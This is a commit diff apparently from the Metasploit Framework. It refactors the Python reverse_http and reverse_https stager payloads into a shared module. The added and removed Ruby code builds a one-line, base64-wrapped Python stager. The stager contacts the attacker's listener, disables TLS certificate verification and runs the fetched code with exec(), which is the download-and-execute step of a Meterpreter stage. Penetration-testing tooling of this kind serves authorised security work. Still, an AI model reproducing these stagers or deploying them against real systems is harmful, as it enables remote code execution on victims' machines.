Further reduce python reverse_http duplicate code
parent
bd25ffa48c
commit
1b495e73ac
|
@ -5,7 +5,9 @@ module Msf::Payload::Python
|
||||||
|
|
||||||
#
|
#
|
||||||
# Encode the given python command in base64 and wrap it with a stub
|
# Encode the given python command in base64 and wrap it with a stub
|
||||||
# that will decode and execute it on the fly.
|
# that will decode and execute it on the fly. The code will be condensed to
|
||||||
|
# one line and compatible with all Python versions supported by the Python
|
||||||
|
# Meterpreter stage.
|
||||||
#
|
#
|
||||||
# @param cmd [String] The python code to execute.
|
# @param cmd [String] The python code to execute.
|
||||||
# @return [String] Full python stub to execute the command.
|
# @return [String] Full python stub to execute the command.
|
||||||
|
|
|
@ -10,7 +10,42 @@ module Payload::Python::ReverseHttp
|
||||||
include Msf::Payload::UUID::Options
|
include Msf::Payload::UUID::Options
|
||||||
|
|
||||||
#
|
#
|
||||||
# Return the longest URL that fits into our available space
|
# Generate the first stage
|
||||||
|
#
|
||||||
|
def generate(opts={})
|
||||||
|
opts.merge!({
|
||||||
|
host: datastore['LHOST'] || '127.127.127.127',
|
||||||
|
port: datastore['LPORT'],
|
||||||
|
proxy_host: datastore['PayloadProxyHost'],
|
||||||
|
proxy_port: datastore['PayloadProxyPort'],
|
||||||
|
user_agent: datastore['MeterpreterUserAgent']
|
||||||
|
})
|
||||||
|
opts[:scheme] = 'http' if opts[:scheme].nil?
|
||||||
|
|
||||||
|
generate_reverse_http(opts)
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Return the callback URL
|
||||||
|
#
|
||||||
|
def generate_callback_url(opts)
|
||||||
|
# required opts:
|
||||||
|
# host, port, scheme
|
||||||
|
if Rex::Socket.is_ipv6?(opts[:host])
|
||||||
|
target_url = "#{opts[:scheme]}://[#{opts[:host]}]"
|
||||||
|
else
|
||||||
|
target_url = "#{opts[:scheme]}://#{opts[:host]}"
|
||||||
|
end
|
||||||
|
|
||||||
|
target_url << ':'
|
||||||
|
target_url << opts[:port].to_s
|
||||||
|
target_url << '/'
|
||||||
|
target_url << generate_callback_uri
|
||||||
|
target_url
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Return the longest URI that fits into our available space
|
||||||
#
|
#
|
||||||
def generate_callback_uri
|
def generate_callback_uri
|
||||||
uri_req_len = 30 + rand(256-30)
|
uri_req_len = 30 + rand(256-30)
|
||||||
|
@ -23,6 +58,49 @@ module Payload::Python::ReverseHttp
|
||||||
generate_uri_uuid_mode(:init_python, uri_req_len)
|
generate_uri_uuid_mode(:init_python, uri_req_len)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def generate_reverse_http(opts={})
|
||||||
|
# required opts:
|
||||||
|
# proxy_host, proxy_port, scheme, user_agent
|
||||||
|
var_escape = lambda { |txt|
|
||||||
|
txt.gsub('\\', '\\'*4).gsub('\'', %q(\\\'))
|
||||||
|
}
|
||||||
|
|
||||||
|
proxy_host = opts[:proxy_host]
|
||||||
|
proxy_port = opts[:proxy_port]
|
||||||
|
|
||||||
|
urllib_fromlist = ['\'build_opener\'']
|
||||||
|
urllib_fromlist << '\'ProxyHandler\'' if proxy_host.to_s != ''
|
||||||
|
urllib_fromlist << '\'HTTPSHandler\'' if opts[:scheme] == 'https'
|
||||||
|
urllib_fromlist = '[' + urllib_fromlist.join(',') + ']'
|
||||||
|
|
||||||
|
cmd = "import sys\n"
|
||||||
|
cmd << "vi=sys.version_info\n"
|
||||||
|
cmd << "ul=__import__({2:'urllib2',3:'urllib.request'}[vi[0]],fromlist=#{urllib_fromlist})\n"
|
||||||
|
cmd << "hs=[]\n"
|
||||||
|
if opts[:scheme] == 'https'
|
||||||
|
# Context added to HTTPSHandler in 2.7.9 and 3.4.3
|
||||||
|
cmd << "if (vi[0]==2 and vi>=(2,7,9)) or vi>=(3,4,3):\n"
|
||||||
|
cmd << "\timport ssl\n"
|
||||||
|
cmd << "\tsc=ssl.SSLContext(ssl.PROTOCOL_SSLv23)\n"
|
||||||
|
cmd << "\tsc.check_hostname=False\n"
|
||||||
|
cmd << "\tsc.verify_mode=ssl.CERT_NONE\n"
|
||||||
|
cmd << "\ths.append(ul.HTTPSHandler(0,sc))\n"
|
||||||
|
end
|
||||||
|
|
||||||
|
if proxy_host.to_s != ''
|
||||||
|
proxy_url = Rex::Socket.is_ipv6?(proxy_host) ?
|
||||||
|
"http://[#{proxy_host}]:#{proxy_port}" :
|
||||||
|
"http://#{proxy_host}:#{proxy_port}"
|
||||||
|
cmd << "hs.append(ul.ProxyHandler({'https':'#{var_escape.call(proxy_url)}'}))\n"
|
||||||
|
end
|
||||||
|
|
||||||
|
cmd << "o=ul.build_opener(*hs)\n"
|
||||||
|
cmd << "o.addheaders=[('User-Agent','#{var_escape.call(opts[:user_agent])}')]\n"
|
||||||
|
cmd << "exec(o.open('#{generate_callback_url(opts)}').read())\n"
|
||||||
|
|
||||||
|
py_create_exec_stub(cmd)
|
||||||
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
# Determine the maximum amount of space required for the features requested
|
# Determine the maximum amount of space required for the features requested
|
||||||
#
|
#
|
||||||
|
|
|
@ -5,6 +5,7 @@
|
||||||
|
|
||||||
require 'msf/core'
|
require 'msf/core'
|
||||||
require 'msf/core/handler/reverse_http'
|
require 'msf/core/handler/reverse_http'
|
||||||
|
require 'msf/core/payload/python'
|
||||||
require 'msf/core/payload/python/reverse_http'
|
require 'msf/core/payload/python/reverse_http'
|
||||||
|
|
||||||
module Metasploit4
|
module Metasploit4
|
||||||
|
@ -12,6 +13,7 @@ module Metasploit4
|
||||||
CachedSize = 466
|
CachedSize = 466
|
||||||
|
|
||||||
include Msf::Payload::Stager
|
include Msf::Payload::Stager
|
||||||
|
include Msf::Payload::Python
|
||||||
include Msf::Payload::Python::ReverseHttp
|
include Msf::Payload::Python::ReverseHttp
|
||||||
|
|
||||||
def initialize(info = {})
|
def initialize(info = {})
|
||||||
|
@ -33,51 +35,4 @@ module Metasploit4
|
||||||
], self.class)
|
], self.class)
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
|
||||||
# Constructs the payload
|
|
||||||
#
|
|
||||||
def generate
|
|
||||||
lhost = datastore['LHOST'] || '127.127.127.127'
|
|
||||||
|
|
||||||
var_escape = lambda { |txt|
|
|
||||||
txt.gsub('\\', '\\'*4).gsub('\'', %q(\\\'))
|
|
||||||
}
|
|
||||||
|
|
||||||
if Rex::Socket.is_ipv6?(lhost)
|
|
||||||
target_url = "http://[#{lhost}]"
|
|
||||||
else
|
|
||||||
target_url = "http://#{lhost}"
|
|
||||||
end
|
|
||||||
|
|
||||||
target_url << ':'
|
|
||||||
target_url << datastore['LPORT'].to_s
|
|
||||||
target_url << '/'
|
|
||||||
target_url << generate_callback_uri
|
|
||||||
|
|
||||||
proxy_host = datastore['PayloadProxyHost'].to_s
|
|
||||||
proxy_port = datastore['PayloadProxyPort'].to_i
|
|
||||||
|
|
||||||
cmd = "import sys\n"
|
|
||||||
if proxy_host == ''
|
|
||||||
cmd << "o=__import__({2:'urllib2',3:'urllib.request'}[sys.version_info[0]],fromlist=['build_opener']).build_opener()\n"
|
|
||||||
else
|
|
||||||
proxy_url = Rex::Socket.is_ipv6?(proxy_host) ?
|
|
||||||
"http://[#{proxy_host}]:#{proxy_port}" :
|
|
||||||
"http://#{proxy_host}:#{proxy_port}"
|
|
||||||
|
|
||||||
cmd << "ul=__import__({2:'urllib2',3:'urllib.request'}[sys.version_info[0]],fromlist=['ProxyHandler','build_opener'])\n"
|
|
||||||
cmd << "o=ul.build_opener(ul.ProxyHandler({'http':'#{var_escape.call(proxy_url)}'}))\n"
|
|
||||||
end
|
|
||||||
|
|
||||||
cmd << "o.addheaders=[('User-Agent','#{var_escape.call(datastore['MeterpreterUserAgent'])}')]\n"
|
|
||||||
cmd << "exec(o.open('#{target_url}').read())\n"
|
|
||||||
|
|
||||||
# Base64 encoding is required in order to handle Python's formatting requirements in the while loop
|
|
||||||
b64_stub = "import base64,sys;exec(base64.b64decode("
|
|
||||||
b64_stub << "{2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('"
|
|
||||||
b64_stub << Rex::Text.encode_base64(cmd)
|
|
||||||
b64_stub << "')))"
|
|
||||||
return b64_stub
|
|
||||||
end
|
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
|
@ -5,6 +5,7 @@
|
||||||
|
|
||||||
require 'msf/core'
|
require 'msf/core'
|
||||||
require 'msf/core/handler/reverse_https'
|
require 'msf/core/handler/reverse_https'
|
||||||
|
require 'msf/core/payload/python'
|
||||||
require 'msf/core/payload/python/reverse_http'
|
require 'msf/core/payload/python/reverse_http'
|
||||||
|
|
||||||
module Metasploit4
|
module Metasploit4
|
||||||
|
@ -12,6 +13,7 @@ module Metasploit4
|
||||||
CachedSize = 762
|
CachedSize = 762
|
||||||
|
|
||||||
include Msf::Payload::Stager
|
include Msf::Payload::Stager
|
||||||
|
include Msf::Payload::Python
|
||||||
include Msf::Payload::Python::ReverseHttp
|
include Msf::Payload::Python::ReverseHttp
|
||||||
|
|
||||||
def initialize(info = {})
|
def initialize(info = {})
|
||||||
|
@ -37,60 +39,7 @@ module Metasploit4
|
||||||
# Constructs the payload
|
# Constructs the payload
|
||||||
#
|
#
|
||||||
def generate
|
def generate
|
||||||
lhost = datastore['LHOST'] || '127.127.127.127'
|
super({scheme: 'https'})
|
||||||
|
|
||||||
var_escape = lambda { |txt|
|
|
||||||
txt.gsub('\\', '\\'*4).gsub('\'', %q(\\\'))
|
|
||||||
}
|
|
||||||
|
|
||||||
if Rex::Socket.is_ipv6?(lhost)
|
|
||||||
target_url = "https://[#{lhost}]"
|
|
||||||
else
|
|
||||||
target_url = "https://#{lhost}"
|
|
||||||
end
|
|
||||||
|
|
||||||
target_url << ':'
|
|
||||||
target_url << datastore['LPORT'].to_s
|
|
||||||
target_url << generate_callback_uri
|
|
||||||
|
|
||||||
proxy_host = datastore['PayloadProxyHost'].to_s
|
|
||||||
proxy_port = datastore['PayloadProxyPort'].to_i
|
|
||||||
|
|
||||||
if proxy_host == ''
|
|
||||||
urllib_fromlist = "['HTTPSHandler','build_opener']"
|
|
||||||
else
|
|
||||||
urllib_fromlist = "['HTTPSHandler','ProxyHandler','build_opener']"
|
|
||||||
end
|
|
||||||
|
|
||||||
cmd = "import sys\n"
|
|
||||||
cmd << "vi=sys.version_info\n"
|
|
||||||
cmd << "ul=__import__({2:'urllib2',3:'urllib.request'}[vi[0]],fromlist=#{urllib_fromlist})\n"
|
|
||||||
cmd << "hs=[]\n"
|
|
||||||
# Context added to HTTPSHandler in 2.7.9 and 3.4.3
|
|
||||||
cmd << "if (vi[0]==2 and vi>=(2,7,9)) or vi>=(3,4,3):\n"
|
|
||||||
cmd << "\timport ssl\n"
|
|
||||||
cmd << "\tsc=ssl.SSLContext(ssl.PROTOCOL_SSLv23)\n"
|
|
||||||
cmd << "\tsc.check_hostname=False\n"
|
|
||||||
cmd << "\tsc.verify_mode=ssl.CERT_NONE\n"
|
|
||||||
cmd << "\ths.append(ul.HTTPSHandler(0,sc))\n"
|
|
||||||
|
|
||||||
if proxy_host != ''
|
|
||||||
proxy_url = Rex::Socket.is_ipv6?(proxy_host) ?
|
|
||||||
"http://[#{proxy_host}]:#{proxy_port}" :
|
|
||||||
"http://#{proxy_host}:#{proxy_port}"
|
|
||||||
cmd << "hs.append(ul.ProxyHandler({'https':'#{var_escape.call(proxy_url)}'}))\n"
|
|
||||||
end
|
|
||||||
|
|
||||||
cmd << "o=ul.build_opener(*hs)\n"
|
|
||||||
cmd << "o.addheaders=[('User-Agent','#{var_escape.call(datastore['MeterpreterUserAgent'])}')]\n"
|
|
||||||
cmd << "exec(o.open('#{target_url}').read())\n"
|
|
||||||
|
|
||||||
# Base64 encoding is required in order to handle Python's formatting requirements in the while loop
|
|
||||||
b64_stub = "import base64,sys;exec(base64.b64decode("
|
|
||||||
b64_stub << "{2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('"
|
|
||||||
b64_stub << Rex::Text.encode_base64(cmd)
|
|
||||||
b64_stub << "')))"
|
|
||||||
return b64_stub
|
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
Loading…
Reference in New Issue